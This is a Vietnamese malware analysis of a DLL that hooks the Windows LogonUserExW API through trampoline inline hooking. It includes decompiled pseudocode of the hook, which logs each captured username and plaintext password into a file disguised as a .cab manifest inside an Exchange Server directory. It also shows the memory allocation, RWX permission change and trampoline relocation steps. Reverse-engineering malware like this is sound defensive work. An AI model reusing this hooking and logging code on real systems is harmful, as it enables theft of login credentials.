File Dll này sử dụng kỹ thuật hooking có tên là Inline API hooking with trampoline. Một chút sơ qua về kỹ thuật hook này trước khi đi vào phân tích file dll
API hooking là khi hệ thống gọi đến API bị hook thì chương trình sẽ chuyển hướng sang thực hiện hàm mà chúng ta muốn, sau khi thực hiện xong hoặc là trước đó chúng ta sẽ phải gọi lại API gốc để lấy giá trị trả về. Nếu như vậy, chương trình sẽ đi vào vòng lặp vô hạn.
Trampoline hook được sinh ra để giải quyết vấn đề này. Thay vì jmp đến opcode đầu tiên của API gốc thì chương trình sẽ jmp tới một trampoline hoặc là gateway. Trampoline sẽ thực thi một số bytes code đầu tiên của API gốc (cái mà bị ta ghi đè thành bytes code jmp đến hàm của chúng ta) và jmp ngược đến opcode tiếp theo ngay sau những bytes bị ghi đè của API gốc.
Trampoline:
mov edi, edi
push ebp
mov esp, ebp
jmp API+5 ; jmp to the API after the first replaced 5 bytes
Hình minh họa từ trang link
Bắt đầu từ DllMain, chương trình đi vào hàm sub_180018FD0
BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
sub_180018FD0(hinstDLL, fdwReason, lpvReserved);
if ( fdwReason == 1 )
sub_180001580();
return 1;
}
Điều kiên fdwReason == 1
để đảm bảo chương trình đi vào luồng gọi các module.
Hàm này để load các dll: ntdll.dll, kernel32.dll
__int64 __fastcall sub_180018FD0(__int64 a1, int value_1, __int64 a3)
{
if ( value_1 )
{
v4 = value_1 - 1; // == 0
if ( v4 )
{
// ... sẽ không đi vào
}
else
{
qword_1800492F0 = a1;
hLibModule = LoadLibraryA("ntdll.dll");
if ( !hLibModule )
return 0i64;
hModule = LoadLibraryA("kernel32.dll");
if ( !hModule )
return 0i64;
qword_1800492F8 = HeapCreate(0, 0i64, 0i64);
sub_180019BA0();
sub_18001A650();
sub_1800195D0();
dwTlsIndex = TlsAlloc();
if ( dwTlsIndex == -1 )
return 0i64;
}
}
else
{
// sẽ không đi vào
}
Lấy thông tin ngày tháng time_date
kết hợp với string được decode qua xor để tạo thành một tên file gọi là A (tự đặt tên):
C:\Program Files\Microsoft\Exchange Server\V15\FIP-FS\Data\Engines\metadata\manifest.{8b26bc7d-829d-4354-9527-(time_date)}.cab
v1 = localtime64(&qword_1800492E8);
strftime(time_date, 0x20ui64, "%m%d%H%M%S", v1);
// ...
if ( (int)v3 > 0 )
{
v5 = byte_180032A20;
do
{
*v5 = v4++ ^ (*v5 - v3);
++v5;
}
while ( v4 < (int)v3 );
}
sprintf(::Buffer, "%s%s}.cab", byte_180032A20, time_date);
fp = fopen(::Buffer, "a+bc");
Mở file đó với mode access a+bc
Tiếp đó, ghi thời gian dưới dạng %Y-%m-%d %H:%M:%S
vào file.
Gọi hàm LogonUserExW thông qua LoadLibraryW và GetProcAddress, nếu có lỗi xảy ra thì ghi vào file A.
hAdvapi32Dll = LoadLibraryW(L"advapi32.dll");
if ( !hAdvapi32Dll )
{
errorID = GetLastError();
sub_180001270(word_1800481D0, 2048i64, L"LoadLibrary %d\n", errorID);
// write to file A
}
LogonUserExW = (BOOL (__stdcall *)(LPCWSTR, LPCWSTR, LPCWSTR, DWORD, DWORD, PHANDLE, PSID *, PVOID *, LPDWORD, PQUOTA_LIMITS))GetProcAddress(hAdvapi32Dll, "LogonUserExW");
Sau khi gọi thành công hàm LogonUserExW chương trình đi vào hàm sub_180019620
Chương trình kiểm tra xem con trỏ đến hàm LogonUserExW có là Null hay không và đi vào thực hiện hàm sub_180001300
if ( (unsigned __int64)LogonUserExW - 1 > 0xFFFFFFFFFFFFFFFDui64 )
{
dword_18004930C = GetLastError();
Src = L"Invalid entry point.";
return 0xC00000EFi64;
}
if ( IsBadReadPtr(LogonUserExW, 1ui64) )
FatalAppExitW(0, L"memory.c - !IsBadReadPtr(InPtr, InSize)");
if ( !sub_180001300
|| sub_180001300 == (BOOL (__fastcall *)(const WCHAR *, const WCHAR *, const WCHAR *, DWORD, DWORD, HANDLE *, PSID *, PVOID *, DWORD *, struct _QUOTA_LIMITS *))-1i64 )
{
dword_18004930C = GetLastError();
result = 0xC00000F0i64;
Src = L"Invalid hook procedure.";
return result;
}
Nếu hàm sub_180001300 thất bại thì Src sẽ nhận string Invalid hook procedure. Technique hook khá tương tự như link
Đổi tên hàm sub_180001300 thành HookLogonUser
Hàm này thực hiện hook khi hàm LogonUserExW được gọi đến. Và ghi thời gian đăng nhập và giá trị của trường lpszUsername và lpszPassword và file A.
BOOL __fastcall HookLogonUser(const WCHAR *lpszUsername, const WCHAR *lpszDomain, const WCHAR *lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, HANDLE *phToken, PSID *ppLogonSid, PVOID *ppProfileBuffer, DWORD *pdwProfileLength, struct _QUOTA_LIMITS *pQuotaLimits)
{
// ...
result = LogonUserExW(
lpszUsername,
lpszDomain,
lpszPassword,
dwLogonType,
dwLogonProvider,
phToken,
ppLogonSid,
ppProfileBuffer,
pdwProfileLength,
pQuotaLimits);
if ( result )
{
time64(&Time);
Tm = localtime64(&Time);
wcsftime(&time_date_, 0x20ui64, L"%Y-%m-%d %H:%M:%S", Tm);
if ( (double)((int)Time - (int)qword_1800492E8) > 259200.0 )
{
// Truncated ...
}
j_vsnwprintf(buff2, 2048i64, L"T:%s U:%-30s\tP:%-30s\n", &time_date_, lpszUsername, lpszPassword);
// ...
fwrite(buff2, 2ui64, (int)v16, Stream);
fflush(Stream);
}
return result;
}
Khi hàm hook thực hiện thành công thì chương trình đi tiếp đến hàm LhAllocateMemory với tham số được truyền vào InEntryPoint là con trỏ đến hàm LogonUserExW
Theo link, hàm này Allocate một page của vùng nhớ hook. Hàm này cố gắng Allocate một vùng nhớ gần nhất có thể để relocate hầu hết RIP-relative instruction.
LPVOID __fastcall LhAllocateMemory(__int64 InEntryPoint)
{
// truncated ..
GetSystemInfo(&SystemInfo);
PAGE_SIZE = SystemInfo.dwPageSize;
iStart = (LPVOID)(InEntryPoint - 0x7FFFFF00);
iEnd = (LPVOID)(InEntryPoint + 0x7FFFFF00);
if ( InEntryPoint - 0x7FFFFF00 < (__int64)SystemInfo.lpMinimumApplicationAddress )
iStart = SystemInfo.lpMinimumApplicationAddress;
if ( (__int64)iEnd > (__int64)SystemInfo.lpMaximumApplicationAddress )
iEnd = SystemInfo.lpMaximumApplicationAddress;
v5 = 0i64;
while ( 1 )
{
LOBYTE(result) = 1;
if ( v5 + InEntryPoint < (__int64)iEnd )
{
result = VirtualAlloc((LPVOID)(v5 + InEntryPoint), PAGE_SIZE, 0x3000u, 0x40u);
if ( result )
break;
}
if ( InEntryPoint - v5 <= (__int64)iStart )
{
if ( (_BYTE)result )
return 0i64;
v5 += PAGE_SIZE;
}
else
{
result = VirtualAlloc((LPVOID)(InEntryPoint - v5), PAGE_SIZE, 0x3000u, 0x40u);
if ( result )
return result;
v5 += PAGE_SIZE;
}
}
return result;
}
Sau khi Allocate thêm một vùng nhớ trên memory, chương trình gọi đến hàm RtlProtectMemory để thay đổi quyền truy cập với vùng mem đó thành PAGE_EXECUTE_READWRITE.
__int64 __fastcall RtlProtectMemory(void *lpAddress, unsigned int dwSize, DWORD a3)
{
if ( VirtualProtect(lpAddress, dwSize, 0x40u, &flOldProtect) )
// truncated...
return result;
Hàm này để xác định size của entry point
EntrySize = LhRoundToNextInstruction((unsigned __int64)LogonUserExW);
Hook->HookProc = (UCHAR *)HookLogonUser;
Hook->RandomValue = (void *)0x69FAB738962376EFi64;
Hook->NativeSize = 664;
Hook->IsExecutedPtr = (int *)&Hook[3].Trampoline;
Hook->TargetProc = (UCHAR *)LogonUserExW;
Hook->EntrySize = EntrySize;
Hook->Callback = 0i64;
LODWORD(Hook[3].Trampoline) = 0;
Trampoline sẽ được gọi trước khi user defined hanler được gọi. Nó sẽ setup một môi trường thích hợp cho hook handler cái mà bao gồm cả fiber deadlock barrier và user special callback
Hook->HookIntro = LhBarrierIntro;
Hook->HookOutro = LhBarrierOutro;
Copy trampoline
Hook->Trampoline = MemoryPtr;
MemoryPtr_ = &MemoryPtr[(unsigned int)GetTrampolineSize()];
Hook->NativeSize += GetTrampolineSize();
data_length = GetTrampolineSize();
v16 = Hook->Trampoline;
v17 = &byte_1800026AD[40];
if ( data_length )
{
// copy trampoline in here
}
Relocate entry point. Cái mà phải được ghi trực tiếp vào target buffer, bởi vì để thay đổi địa chỉ của RIP-relative chúng ta cần biết nơi mà instruction sẽ đi tới.
Code entry point sẽ được copy tới cuối của trampoline với địa chỉ liên quan được điều chỉnh. Hook->OldProc chỉ đến vị trí này.
TargetProc = Hook->TargetProc;
Hook->OldProc = MemoryPtr_;
*RelocSize = 0;
EntrySize_ = LhRelocateEntryPoint(TargetProc, EntrySize_, MemoryPtr_, RelocSize);
if ( EntrySize_ >= 0 )
{
v21 = (unsigned int)*RelocSize;
v22 = Hook->OldProc;
v23 = Hook->EntrySize - v21;
Hook->NativeSize += v21 + 12;
v25 = &Hook->TargetProc[v23 - (_QWORD)v22 - 5];
if ( v25 == (UCHAR *)(int)v25 )
{
v22[v21] = -23;
*(_DWORD *)&Hook->OldProc[v21 + 1] = (_DWORD)v25;
v24 = (ULONGLONG *)Hook->TargetProc;
dword_18004930C = 0;
result = 0i64;
Hook->TargetBackup = *v24;
Src = &unk_180026760;
return result;
}
EntrySize_ = 0xC00000BB;
Đến đây là kết thúc quá trình hook.
File Dll này thực hiện chức năng hook vào LogonUserEx API, mỗi lần hệ thống gọi đến làm LogonUserEx thì nó sẽ ghi username và password vào file có định dạnh là C:\Program Files\Microsoft\Exchange Server\V15\FIP-FS\Data\Engines\metadata\manifest.{8b26bc7d-829d-4354-9527-(time_date)}.cab